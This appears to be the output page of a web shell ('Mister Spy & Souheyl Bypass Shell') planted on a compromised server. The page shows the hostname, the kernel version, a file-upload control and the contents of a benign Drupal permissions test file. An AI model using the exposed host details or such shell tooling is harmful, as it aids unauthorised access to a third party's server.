Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/wirtschaftsclub.web-klick.de/core/modules/system/tests/src/Kernel/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/wirtschaftsclub.web-klick.de/core/modules/system/tests/src/Kernel/PermissionsTest.php

<?php

namespace Drupal\Tests\system\Kernel;

use Drupal\KernelTests\KernelTestBase;

/**
 * @group system
 */
class PermissionsTest extends KernelTestBase {

  /**
   * {@inheritdoc}
   */
  public static $modules = [
    'system',
    'user',
  ];

  /**
   * Tests the 'access content' permission is provided by the System module.
   */
  public function testAccessContentPermission() {
    // Uninstalling modules requires the users_data table to exist.
    $this->installSchema('user', ['users_data']);

    $permissions = $this->container->get('user.permissions')->getPermissions();
    $this->assertSame('system', $permissions['access content']['provider']);

    // Install the 'node' module, assert that it is now the 'node' module
    // providing the 'access content' permission.
    $this->container->get('module_installer')->install(['node']);

    $permissions = $this->container->get('user.permissions')->getPermissions();
    $this->assertSame('system', $permissions['access content']['provider']);

    // Uninstall the 'node' module, assert that it is again the 'system' module.
    $this->container->get('module_installer')->uninstall(['node']);

    $permissions = $this->container->get('user.permissions')->getPermissions();
    $this->assertSame('system', $permissions['access content']['provider']);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net